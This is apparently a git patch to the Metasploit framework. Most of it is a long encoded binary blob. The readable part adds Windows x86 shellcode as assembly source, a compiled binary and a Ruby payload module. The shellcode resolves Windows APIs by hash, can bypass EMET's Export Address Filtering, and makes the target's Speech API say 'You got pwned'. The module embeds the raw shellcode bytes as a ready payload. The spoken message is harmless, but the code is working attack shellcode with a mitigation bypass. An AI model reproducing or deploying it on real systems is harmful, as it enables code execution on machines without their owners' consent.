zN-|vQi6gL5b{PW$rfyOxk^H_b&F)PIUu@+Je26;%9%sQMlq}?8!iO>@`)(PB8*1Ac zYLCMxy1s4|Dx^H;6-=VBerJa@Jb5f_cEFfuC2UJYNXwYnDR7-O9^A=-te67&=Er2} z069LPjK*>XY`3JEIyW!hc7^SK$ZATt#kc=qhH~f(;QOG@f38oh__RETl2eGvdTj48 zxgGYsu?Fitih6_ZXxorSp!=&FKaDTBwWnbVTs+aFxrILBomPg{P<_*(&7ba*9EjZ_ zuQ&{w>tpFfuvh~O+(0KGEf@fN4=jRtmdj)5F{$=AG+5%-gT?3(=jUQ+T#scds5!K@ zft)EovGpRsfE}!;w<#6KJ!~?zc?P;_PkG7Q*^veePEIRHo2jURqnpn?YX`$~3o@r5$B+eAHKA5z`;$l*satw&d7kkr8A`%LH4aLvX#Aeiuw8aV|a;R+o(H^V} zCn|$j(xh9O^?1sCGkux!-1eq-3){M&RVJ~4lxaT=oy5af7W(~kqFd^wlKneoM#w|I zsnNL`XigTZG~vV;=486!14P1)5sE+5Z=^bV%C!~u}-H3P6MBn~$cGtLS{L@3?807ll2f~;2VAfnK`FNh0rmGigZ!A#4& z25~wq^$vg$^6|*BX9AiP_1nr_x3eaVM0|xj5Co!-VZ<+R$~VfFuRl&@`7#tMl&{^B zS-u{l%+9(9)*xRiw5GptK3}8!8W|}av8rJ%XY(*$zG_dq?*}0bv(OWnT2VJpVi+c| zSmGh7s$08}A_;<4aT(0KBP(*(BA5VFY?$ps3ZaU$N+T6367*G(dALOb#u^Z+wg_tP^0vdk*6-9L zxaotN@571D7+8z@X@rsf_+32Bn}UAOX*&l(X(dSgpwnHy;`>(X6@1Vcu3V4O+%MdS zbm-eocdPaLo^Lyvrkt+QsHOI%jBb0bw~`U8wET@2G?7-gDYM)_hH7-~HOihUoaN+a+!7hk8&knz%& z+0Zu;GBoO1YxmaLE@t+qgBAy-Z04Bdog-xS@>NMUq9s2^dzLftJ|lN$ z6g|t90sBnI&*bjkOIYJ+70xreF?Rk2 zanSr_EJ#a1*8+wfR`A5Rx(w1Vpi6@pmS+AkNwbJv@dqLYY@D zSYAOhtr>t^PQhAh^>xZ$(6wB&CPZ*M1|nG1?e*vp5?LxNgE)(7Mdif^5e!8KNa6HR zpl{8@#KV)I;>-*v+vU`evFd`gWiGYR`y@rPwWU~A<2 zLw$h0YD{B6ACBZp2Q(|I`{4Q^Q9{-}K-ZbMw1W>@P7f$ca;RBihm?*cRg_oQxtON> z2Au{Qr}*mcFg%0Ixhsy-BHj^h8e`UbZqmqz9gw~Xe1KKpy;x4fXTo;uC~S;f##2k>uDnujskb5L zl;T9D(2>f&Ac|lbwZW=186obr@MI!mb7^vNmF6 zfw<(xcXTgn4}YcxfJSjW8bvlWib2?+S2M~P|wKHYK|wS z2eYtSWZ*$D1C~F~L|(PLeAiAR?FqXs?sQ|Ucs;CbOu)`NY`dHHr88#UXEl+LU(DN& zyB6HF&TGT=X?KKlbk@OnZQ=l0%Jn)UJ3o}0m(#AeKC_#{hjVF5(7-*?WNeth#;%Dv zNYHbz=9K~yBIod_u%)vQ;Roba@}rJ=7UBMGgk(>|_OFTBqwb?09sTO)iGc^Dj?N2m zJFwz`kuuTH`9;)G=U@}?YP3$h3Aoh*GN%AACVOH$EN&qHce>7#D5;Zzd`Lb9%X@gw z%Do2PstH@@XRB&PJM}#V$cne5Vg5_{=**~!@fEk?NqwcqUnlycN8l%bdKN_|zMab| zsp*~S(aMy7$WQXf9(>jANLr?)jjObqmUYpG@ukSM&)~TQV+sm`({d&1l{#i_yo4bb zAx{kc)M80Zk7X7AF91D*BEPz&e2)SEKM!;u|z72pXF;)G62WZC_Y$ahoTjwXJ zgIS%Q_?iK#bQEt8pF|y7u2xSFe$_qyQ~j5G@Zk_sU#y6oqa730(@6_v(#N~Gr4hU6 za14foHmrpV?>@@bKXm(}35@Yd;P!tCMmK@cn_=^H;EUX%(8wEQZIE*kOdo6>htF+G zmE{PNkK{MxBzT5m+~TeM6b*%p_PDAXYLe=wVIa6(c%ZzRb81tmjPDYk$oV!7-Db`6>S zuCMc=J-sQQzuNxMW-~vuaDfgj;26*ttN_#uQ(8X+!}ft>Kht`(ot=;d}V=NEV+W+gSZPMPnbllqN%ufm7Uu6jl~b_fUfaL_gS^?Dzg#eD5Ejq|*Cw zW=6cL&*u8?)(4V+wV}vaULf8?V=0!r`d)D)1s!Juv7sERPFQHnQ!>^e9a;@b!3}Jq z=ez$15@*rJ(^~%n2CUrqSrF`b*DBwB1@!iOEG6peNCB-$N)&PasT3ti%c`d!S`w8} z9w4b!iJt%#M@Rs|X@<~6sdQm0C-y<=vXqZ8@y>Uz10uDBS}YDyHaHWxDDe(ApxMgp zVA$X+(|}TX*Ay5TpHK6yD7pmdU1b&Pg9aD?k8B3-tOjo zbT_XDM81JX_S{LMlQaYRx#854EcMCO`p;R9;JMvfi5;5l6b#2Z9ejEw6X4ioiT-Ac zvKlGz;j=#_SL=Gzi7G6*55@X}e^2x&OIYoRe2bc%Yx7XHS|#NYy%o!9(jb^C)WptT zAdZD;$WiLLkU{wQ4K<}bLrzXXU18_{t>`D@(&Rlb; z#-_|bp`-p$pG2KX=>VlQ0+w3_V|5h5p&}HwK13((FjMKEn|5B-{>$} z1YgD~cZ}^@T(2gw;-bE-JXfBXhj(BdEUOeNVI#2x2kV|#Ha>&3PqV30oIh*N+*J|! zC$P5A^$can6fK}Pmf{q2wcZ^pq(!=i)XTQa zi0Fu8{-&i#n^@nkYOKSljDU9OGn{Cm@)NHXe+k3`-D6i@HM0)y9vukbwX zC^fFWZYTh9PIr@TSHqBod=2gV9K|w8JlX(j^R#}u#y8$EQZIV#9b}-an-^%6g_g!Au5sI*(2`U`H3)#kx>QPm=~5kWv@4@{}Tw zN-PoaS)f~4h9__(A3VjxrWib=(Bz&_^p{!0SX$CYC88EjOZgVI0;BB5ycA2&xk`R< z58dO@Bw+LC)u@j<>s*(akRP7Fz=XnoBq{<`kn7Jf1(|DC@DiH4NQaH zrdN+9<>X|itve{%eZ~qs15f11EzO@9 zatEG}W{M0Pc@>qK^)%&t?}btb#cX4kpwI-gz5 z?3%)^Y3#a~U2W`|&92MX^=@{(hg}QVwU}MY*tL>fMRwi5uAA6(E4$XQYdyPmpoMrR zJ;?4KVb>?v^+|Spnq7azuFtXS^X&QpyS~V-udwSbc72^)_ps|ec0ItZhuQTAyB=rP z6YP45UEA38G`lM7dWK!w*|mdRyV$jxU1=DPQeam)3+kOjdz!tIXq@1kM8jt9Bx?D6 z$M)f;FbBdM2y-CJfiMTc90+qD%z-cm!W;;5Ak2X<2f`c(b0ExtFbBdM2y-CJfiMTc z90+qD%z-cm!W;;5Ak2X<2f`c(b0ExtFbBdM2y-CJfiMTc90+qD%z-cm!W;;5Ak2X< z2f`c(b0ExtFbBdM2y-CJfiMTc90+qD%z-cm!W;;5Ak2X<2f`c(b0ExtFbBdM2y-CJ zfiMTc90+qD%z-cm!W;;5Ak2X<2f`c(bKrk52cW1k{0nm+%z^(+9Jp_$S-4@9S@`Sy z=KoFE4w=`FhKBhNk~v{Om;+%BggFrAfYA1*D~pK@uz4Ze0XOw$5yI34G7kjfp>Pxq zlNDs)Mp#(kv~DO7ZO)1{j;bm_ST9rwYlI5HDLC*qT__aF@FxgPsaz~s?=U)?&I+ed z5C*~gV)o)CSy?=U9)+y*%td~WLdud1OM0e%h#)MzW#+8egW@dZ#)8VqvXV6gVo620 zvACehxW1s!VJtwnC_2_xibk=*SXNO`XcUVb#)U@p{bePqodwQ~#**?i6;7vPjaasE zdYrAyQBdVDuBj*&3)UbeV)&(geU-6Fs;sPV0^%rGZ!AIv)>k+kNCUU)83of>29O7$ zZ`Po=X+}#g84}XY$Vy*~7l6bfXT^HFqNK`LP*vqvzq)Lru~2fBl&>|GBdKa416U>H zC1OcIS;>7Y`M7MtFDWmi3_B3hxLR6^XXC~S$>~q)bYr?`1nT;VD$!V0vd)3jDLYO_ zl~g7gD~gP33d+jpW#AOiG;K}A`pS|rN1<`@j5TG>8;nI#`5MMkMrT1UQRP*lQ(7Y; z^Y~}Ll(Mpnf|7EUcgpw8l<)Ei(da0zkk%F(t11iDAiqE_tH5jfFwCD{HwEykC+`kk zcuTW6zr|t@T~WTqG5sIs2fc@An@R6jh?I!F-WL@5;5W}DxKv)S8f2p8^kNu`9R-z~ zTBLLHtyjroO^IJbR&KrVZV4H$N-Vreyg3xFQbKL3E^&%dL0NABQAx5F5M5{!A$Y&4 zqTGQNIs+94o>8PM_Rw`x62NB)rjwvmVv1L@ahX&=OG#)&=5+=8G>I3Kpi!eR+O}N+cVBsOZd)V{r34g@z{!zbs*fQ(EdED>b3VB`V zun`X&PNaROU=@}MnYb<%W(hZ=r%Ayb>$ZdxM_=63vZ_?4!y&-Wa)`MFWfHqzZi=ssgfrZwBLG@tGlX6M_iL_ggxS-jYijVIh&IK_gXyPv2Kg!}F= z3j*$ymo38GkDG;#ZTvp!VY8t4?iW007Ebx@UurN5$9?zB^=2U=GD;I26RRB%H&8cd zu--6a=&<NSOqqP4{(rR&Pp zmseEY>#P!`>Y5E3@B6`~+Ra;pRnw=UtOa2eoC$6L9M~Z&poj2JF!uYKEU16|Vf{nW z1jAMT>V*D(ePe7BdjBGXf9%gch5LoxzetQV|B*j6zA;<_`jx*?DE|Ll10uHd{J~Jx zKlD>eko@~2djBFL{;@wbe*YT%9}W5US^&K%9)Ic^>8bbLK&HX|1HVB0e=N7XSO%f@ zp5H}8P$Ss7?S5C?_6L4g-_R&O*!0lDk39O=<4^qP$3J=Ush|Gr>7W1Nm%n=E*&WaQ z`ZvFQ{&)ZK`xpN8|NPsFe|YKTSN^#3)m^Xs>CdmfvHQ(E&3jw+{iSvPfrE$MI{fxK z?;bh&-m&9(Y0Z zyJ1lHzuZxT?g;*&j^dx4|9|%T|I7UU_d4p(aMn@(v-6*pHgEmA;mE-bPA; z;!|9TBV-kblCuy1O3zus?y`#|XO%B3&rw+J@I7Q>Iz+)473BU!7Cjegn z9^nXp3k5SOg@W}nD%T@@3F{7y!f90)(mIHFzUOtAffQB%LBvW0C@3^uhiUTag0&UE zsj85~;%V!!BvRnJFDP!Z*#Es%s zI*mQ|<@X6fxua&( z=U`=_CZ=Lw=EKO8stN=NnUz3GRZR)2G*vZ@!jh`uX+l+$yyqug z^}crv7MKbsi+=R3sVJ*hzq*88(~~B6UPcW=rDb(RSxGfe)Mw0kG3Vt4PD^ayq@&6) z4U2U5m6VkrWB8R;8Qx4@acVp%(n>H%wH^|F@K>joB7GYWag&}3CzDk&@ulm zq2pnSpCz1NeztI!`HO@-%+C>C@%hiePhFZUJi+{h!dB)l7Al#aCENo)#cB~2Gk>8l zm-&l@$;{6Z65v}i(*-U3^z1C5`ytT3WT~L|{Nv2e6kdmK%T5-ahi}cw5}ss!vQW?b z#e&HECBi+-Unrz7KSh|${8Yine5;^i{vx5PiPA|E6y|3LCzzip>|=hq@Cx%S!mpTr zm+%PlmkOJhpCgnpKVMkJ{9GXoepYU(V1}P!%@XEQc;+HuF7tDQ**x__n3# z!VB=Ta_h+R^Ho*dy*&|akdt@rrd)t1C@H`yG1sEP+lz_nk#taxbU=#v4 z#v>S(V03~(3dSlJvS8$b0Sv}57|vi+LxUUqvhSj+Af$2cKXvVT%_2PVw1s_Z`cEYg zjuhrVm;+%BggFrAKoAZr%}UAIy7P?{%Pz;Hy!>wF&X(a1)N6saaNgZ1j_SL!iXCNT z^d;%;nprnbtEzMq&@6abRZnmh1x>FkTpc9sa1iIfJ(C4Ni*H?AvHi>LRy_s4toMzio6IQpsd`oqryb};}RNYArV`^FE1e}cXI^b3~0>1MOA z1kN9RBp@G}SyzYOJEt#vPeAg;pnH*|4KkPf9&ZC4=jgA+pi8k7y$Qw zKfO2ZT;KSC^iR6d7akb@`v7=g{Lj2RK3*06{V(J|1oAv`gqiKpKCs0iXz~0s`~mPQ z;bZ%saALCsI~D}t1^7eYZ-PG*{xbN(;7^600KcQwB8-B682)JZPrx4o|8Dq+@Mpsx z2R|PEHSk~DWD$(;H^9FZ{?;E@gz@m(?z0FR;2(xhA2DBtk53Z93-G()KM$We!6)HI z!H!{*yn7Pe019`Xe6EPxbjz@AJPG9ts{Roly8{xazC%|Cv6~G6F8r z=cqjBp7wcCors1T1Q!EGb&ASL2S@dcdKEq`S-&oxC@Tpb#RosIv(5^^jMMkUa=* z$NLGN{1dPE;rSEw-*#^Z`QxuJhW!1vk?>DVDD-A4PFCp6KL1p*|65-kvI_XRj*wNr z_}@y#KRdDi;Z=cTMMR`V`y4v1d+y(O|Fu4T{^sxe=9yn}f7>tHXy_rBH*aPB^T2Q3 zadL-|gZo{#UEx7ypZ~{y5Z~g%-wFJ8pFRETXyNl`m1mcSPJi<=EQTE&t^MT6lSX0H z$%zysFs5evan!Z2C)kyRiGx2?RD%@naiEu`^M7RVv z1DqC4fa{QP9ssTl?l{~LxWjM<;P%1ofqNZp7u+jwFT%Y5_dMKla8JWM0#^^W6^`&X zz*WK(!`%&+4VMNtA8sz(Y`DpA@o-wW0T^tM?57{~1=Halhi}Gr>3`2{@%^Z8p*bF< zL-E!0jM0zNkhbTy6$1i-wV&hbFt)7h9@u~8#+LG5i*Noj_y$K~R`vaX_u~Md;|}zR zoyN&Of%_xeakvX`Ly)1FaG7xH;V3@EnFmMXq8hj#!@UA`4DLLf0eCauGT_SK!oM&F z!W{UY$ALXZdmHbOV-dmzxcNtV!$y1M33r=@DLWqaE z4sJG_8O{b*1h)z9$8ayg?S(rI_bFTlobIm?!f3eb;AX?!2A2z01h)z9LAdAOcEPp6 z9f$iA?kt=ZbR@t{hf9O2gsX>p8tz57!*FeIU2riULB|!ySS<1$P!sgM5yFn+$gwTsB-GTs7Q-aKC{2KXAL@PQd;D`0WADUx53M{KDn- zKeOBn(4Mf6_N+V7vAehc2ipbVHiV_CXaDhxbJ#crT3A*l{91#a`qm9= za2f%7X;Vwe=tOKnBugmCkQWTvdSDdUtlE|omjOL7D5p~l^~3Y@K@R} zDLM~(<{e1MArumBmRQIW5rkpA=@L8>duc6L@#`Oo_Z39YFPdFKY zRD%J89};9?#d>VUE?kUl!g)dk<&(dDVFgYjV@yLh^!DtHl@4Jwr?3Ef#VhHMtwlJB zlN)6Y(XkM@z~1JvEF8ZDXN3Kl?6N9EO=PYn5J+TwQ-$bU<`C>Y# z?kG$zU*mMpiEQj%Cz|N|E;|-22!CNzOHd$DE@rdC?dgSB=ON1cusr^$VPB-0+P;3V z1>x<;G@PdAwE?R}>?s8&+np5~g)^F5e)gZy_%4I7Tj94+cATBqXmdE3CJNLb#xm50 z$BCBgk~QmmJZ$!Rr|RXM?rNzmI}s*R2;}Jvs6}6 z4YCMl1uJnZko7nWo~@q1_q`5>x%<-~9MgoX(oiyzUX|j2rVDJkx1r)vQB0$fSjZI= zEEJt(yrMXT)vWHR2i?#3a~@5lxS)KkLzo}67$@d^IH<*+0n4XlBQT?u^1`gjl5);G zC!^a&l}#w7d)h!N+)BJ#V$GoYI8cgOR#Lc-4yoe|x9}D#C0^a!YWewU-+K(U)WIJU zG)u*@obnnRB^Qn}NEX{=AH!-BQ=CC>M*GtA4M7fuMCX+hIu;feII}AXz*rmA^Y-itl_a60FCKC*C2H})jDkuY7xAX~KLh@xO8H$-TH$ws9 +; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/ +; All rights reserved. See COPYRIGHT.txt for details. +BITS 32 +; Windows x86 null-free shellcode that executes calc.exe. +; Works in any application for Windows 5.0-7.0 all service packs. +; (See http://skypher.com/wiki/index.php/Hacking/Shellcode). +; This version uses 16-bit hashes. + +%include 'w32-speaking-shellcode-hash-list.asm' + +%define B2W(b1,b2) (((b2) << 8) + (b1)) +%define W2DW(w1,w2) (((w2) << 16) + (w1)) +%define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1)) + +%ifdef STACK_ALIGN + AND SP, 0xFFFC +%endif +find_hash: ; Find ntdll's InInitOrder list of modules: + XOR ESI, ESI ; ESI = 0 + MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30]) + MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr + MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module) + +%ifdef DEFEAT_EAF + ; The first loaded module is ntdll on x86 systems and ntdll32 on x64 systems. Both modules have this code: + ; ntdll32!RtlGetCurrentPeb () + ; 64a118000000 mov eax,dword ptr fs:[00000018h] + ; 8b4030 mov eax,dword ptr [eax+30h] + ; c3 ret + MOV EDX, [ESI + 0x08] ; EDX = InInitOrder[X].base_address == module + MOVZX EBP, WORD [EDX + 0x3C] ; EBX = module->pe_header_offset + ADD EDX, [EDX + EBP + 0x2C] ; EDX = module + module.pe_header->code_offset == module code + MOV DH, 0xF ; The EAF breakpoints are in tables that are at the start of ntdll, + ; so we can avoid them easily... + scan_for_memory_reader: + INC EDX + CMP DWORD [EDX], 0xC330408B ; EDX => MOV EAX, [EAX+30], RET ? + JNE scan_for_memory_reader + PUSH EDX ; Stack = &(defeat eaf) +%endif + PUSH ESI ; Stack = InInitOrder[0], [&(defeat eaf)] + MOV SI, hash_kernel32_LoadLibraryA + +next_module: ; Get the baseaddress of the current module and find the next module: + POP EDI ; EDI = InInitOrder[X] | Stack = [&(defeat eaf), ] "ole32\0\0\0" + MOV EBP, [EDI + 0x08] ; EBP = InInitOrder[X].base_address + PUSH DWORD [EDI] ; Stack = InInitOrder[X].flink == InInitOrder[X+1], [&(defeat eaf), ] "ole32\0\0\0" +get_proc_address_loop: ; Find the PE header and export and names tables of the module: + MOV EBX, [EBP + 0x3C] ; EBX = &(PE header) + MOV EBX, [EBP + EBX + 0x78] ; EBX = offset(export table) + ADD EBX, EBP ; EBX = &(export table) + MOV ECX, [EBX + 0x18] ; ECX = number of name pointers + JCXZ next_module ; No name pointers? Next module. +next_function_loop: ; Get the next function name for hashing: + MOV EDI, [EBX + 0x20] ; EDI = offset(names table) + ADD EDI, EBP ; EDI = &(names table) + MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offset(function name) + ADD EDI, EBP ; EDI = &(function name) + XOR EAX, EAX ; EAX = 0 + CDQ ; EDX = 0 +hash_loop: ; Hash the function name and compare with requested hash + XOR DL, [EDI] + ROR DX, BYTE hash_ror_value + SCASB + JNE hash_loop + DEC ECX + CMP DX, SI ; Is this the hash we're looking for? + JE found_function ; + JCXZ next_module ; Not the right hash and no functions left in module? Next module + JMP next_function_loop ; Not the right hash and functions left in module? Next function +found_function: + ; Found the right hash: get the address of the function: + MOV ESI, [EBX + 0x24] ; ESI = offset ordinals table + ADD ESI, EBP ; ESI = &oridinals table + MOVZX ESI, WORD [ESI + 2 * ECX] ; ESI = ordinal number of function +%ifdef DEFEAT_EAF + LEA EAX, [EBX + 0x1C - 0x30] ; EAX = &offset address table - MEMORY_READER_OFFSET + CALL [ESP + 4] ; call defeat eaf: EAX = [EAX + 0x30] == [&offset address table] == offset address table +%else + MOV EAX, [EBX + 0x1C] ; EDI = offset address table +%endif + ADD EAX, EBP ; EAX = &address table + MOV EDI, [EAX + 4 * ESI] ; EDI = offset function + ADD EDI, EBP ; EDI = &(function) + XOR ESI, ESI ; ESI = 0 + CMP DX, hash_ole32_CoInitialize ; + JE ole32_CoInitialize ; + CMP DX, hash_ole32_CoCreateInstance + JE ole32_CoCreateInstance ; +kernel32_LoadLibrary: + PUSH BYTE '2' ; Stack = "2\0\0\0", InInitOrder[X] [, &(defeat eaf)] + PUSH B2DW('o', 'l', 'e', '3') ; Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)] + PUSH ESP ; Stack = &("ole32"), "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)] + CALL EDI ; LoadLibraryA(&("ole32")) | Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)] + XCHG EAX, EBP ; EBP = &(ole32.dll) +%ifdef DEFEAT_EAF + POP EAX ; Stack = "2\0\0\0", InInitOrder[X], &(defeat eaf)] + POP EAX ; Stack = InInitOrder[X], &(defeat eaf) +%endif + MOV SI, hash_ole32_CoInitialize ; + JMP get_proc_address_loop + +ole32_CoInitialize: + PUSH ESI ; Stack = 0, InInitOrder[X] [, &(defeat eaf)] + CALL EDI ; CoInitialize(NULL), Stack = InInitOrder[X] [, &(defeat eaf)] + MOV SI, hash_ole32_CoCreateInstance ; + JMP get_proc_address_loop + +ole32_CoCreateInstance: + PUSH 0xd422046e + PUSH 0x99efeca1 + PUSH 0x499272b9 + PUSH 0x6c44df74 ; Stack = IID_ISpVoice, .... + MOV EAX, ESP ; EAX = &(IID_ISpVoice) + PUSH 0x9673794f + PUSH 0xc001e39e + DEC DWORD [ESP+2] + PUSH 0x11d23391 + PUSH 0x96749377 ; Stack = CLSID_SpVoice, IID_ISpVoice, .... + MOV EBX, ESP ; EBX = &(CLSID_SpVoice), ... + PUSH ESI ; Stack = voice, CLSID_SpVoice, IID_ISpVoice, .... + PUSH ESP ; Stack = &(voice), voice, CLSID_SpVoice, IID_ISpVoice, .... + PUSH EAX ; Stack = &(IID_ISpVoice), &(voice), voice, CLSID_SpVoice, IID_ISpVoice, .... + PUSH BYTE 0x17 ; Stack = CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, .... + PUSH ESI ; Stack = NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, .... + PUSH EBX ; Stack = &(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, .... + CALL EDI ; CoCreateInstance(&(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &voice) | Stack = voice, ... + POP EBX ; EBX = voice | Stack = ... + PUSH B2DW('o', 'g', ' ', 'U') ; Stack = "og U", ... + PUSH B2DW('o', 'p', ' ', 't') ; Stack = "op tog U", ... + PUSH B2DW('!', 'd', 'n', 'h') ; Stack = "!dnhop tog U", ... + XCHG EAX, ESI ; EAX = 0 + MOV ESI, ESP ; ESI = &("!dnhop tog U") + PUSH EAX ; Stack = 0, "!dnhop tog U", ... +unicode_loop: + LODSB ; read: "!dnhop tog U" + PUSH AX ; write: Stack = u"U got pohnd!", 0, "!dnhop tog U", ... + CMP AL, 'U' ; EAX == 0? (WCHAR == '\0'?) + JNE unicode_loop + MOV ECX, ESP ; ECX = &(u"U got pohnd!\0") + XOR EAX, EAX ; EAX = 0 + PUSH EAX ; Stack = 0, ... + PUSH EAX ; Stack = 0, 0, ... + PUSH ECX ; Stack = &(u"U got pohnd!\0"), 0, 0, ... + PUSH EBX ; Stack = voice, &(u"U got pohnd!\0"), 0, 0, ... + MOV EDX, [EBX] ; EDX = voice->vftable + MOV ECX, [EDX+0x50] ; ECX = voice->vftable->Speak + CALL ECX ; SpVoice::Speak(voice, &(u"U got pohnd!\0"), 0, 0) | Stack = ... + INT3 ; Crash diff --git a/external/source/shellcode/windows/speech/w32-speaking-shellcode.bin b/external/source/shellcode/windows/speech/w32-speaking-shellcode.bin new file mode 100644 index 0000000000..ee561dae9e --- /dev/null +++ b/external/source/shellcode/windows/speech/w32-speaking-shellcode.bin @@ -0,0 +1 @@ +1öd‹v0‹v ‹vVf¾ª_‹oÿ7‹]<‹\xë‹Kgãë‹{ ï‹|üï1À™2fÁÊ®u÷If9òtgãËéÛÿÿÿ‹s$î·4N‹Cè‹<°ï1öfúÚðtfúi't j2hole3Tÿוf¾Úðé•ÿÿÿVÿ×f¾i'é‰ÿÿÿhn"Ôh¡ìï™h¹r’IhtßDl‰àhOys–hžãÀÿL$h‘3Òhw“t–‰ãVTPjVSÿ×[hog Uhop th!dnh–‰æP¬fP +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the copyright holder nor the names of the + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +=end + +require 'msf/core' +require 'msf/core/payload/windows/exec' + + +module Metasploit3 + + include Msf::Payload::Windows + include Msf::Payload::Single + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Speech API - Say "You Got Pwned!"', + 'Version' => '$Revision$', + 'Description' => 'Causes the target to say "You Got Pwned" via the Windows Speech API', + 'Author' => [ 'Berend-Jan "SkyLined" Wever ' ], + 'License' => BSD_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Privileged' => false, + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => + "\x66\x81\xe4\xfc\xff\x31\xf6\x64\x8b\x76\x30\x8b" + + "\x76\x0c\x8b\x76\x1c\x56\x66\xbe\xaa\x1a\x5f\x8b" + + "\x6f\x08\xff\x37\x8b\x5d\x3c\x8b\x5c\x1d\x78\x01" + + "\xeb\x8b\x4b\x18\x67\xe3\xeb\x8b\x7b\x20\x01\xef" + + "\x8b\x7c\x8f\xfc\x01\xef\x31\xc0\x99\x32\x17\x66" + + "\xc1\xca\x01\xae\x75\xf7\x49\x66\x39\xf2\x74\x08" + + "\x67\xe3\xcb\xe9\xdb\xff\xff\xff\x8b\x73\x24\x01" + + "\xee\x0f\xb7\x34\x4e\x8b\x43\x1c\x01\xe8\x8b\x3c" + + "\xb0\x01\xef\x31\xf6\x66\x81\xfa\xda\xf0\x74\x1b" + + "\x66\x81\xfa\x69\x27\x74\x20\x6a\x32\x68\x6f\x6c" + + "\x65\x33\x54\xff\xd7\x95\x66\xbe\xda\xf0\xe9\x95" + + "\xff\xff\xff\x56\xff\xd7\x66\xbe\x69\x27\xe9\x89" + + "\xff\xff\xff\x68\x6e\x04\x22\xd4\x68\xa1\xec\xef" + + "\x99\x68\xb9\x72\x92\x49\x68\x74\xdf\x44\x6c\x89" + + "\xe0\x68\x4f\x79\x73\x96\x68\x9e\xe3\x01\xc0\xff" + + "\x4c\x24\x02\x68\x91\x33\xd2\x11\x68\x77\x93\x74" + + "\x96\x89\xe3\x56\x54\x50\x6a\x17\x56\x53\xff\xd7" + + "\x5b\x68\x6f\x67\x20\x55\x68\x6f\x70\x20\x74\x68" + + "\x21\x64\x6e\x68\x96\x89\xe6\x50\xac\x66\x50\x3c" + + "\x55\x75\xf9\x89\xe1\x31\xc0\x50\x50\x51\x53\x8b" + + "\x13\x8b\x4a\x50\xff\xd1\xcc" + } + )) + + # EXITFUNC is not supported :/ + deregister_options('EXITFUNC') + end + +end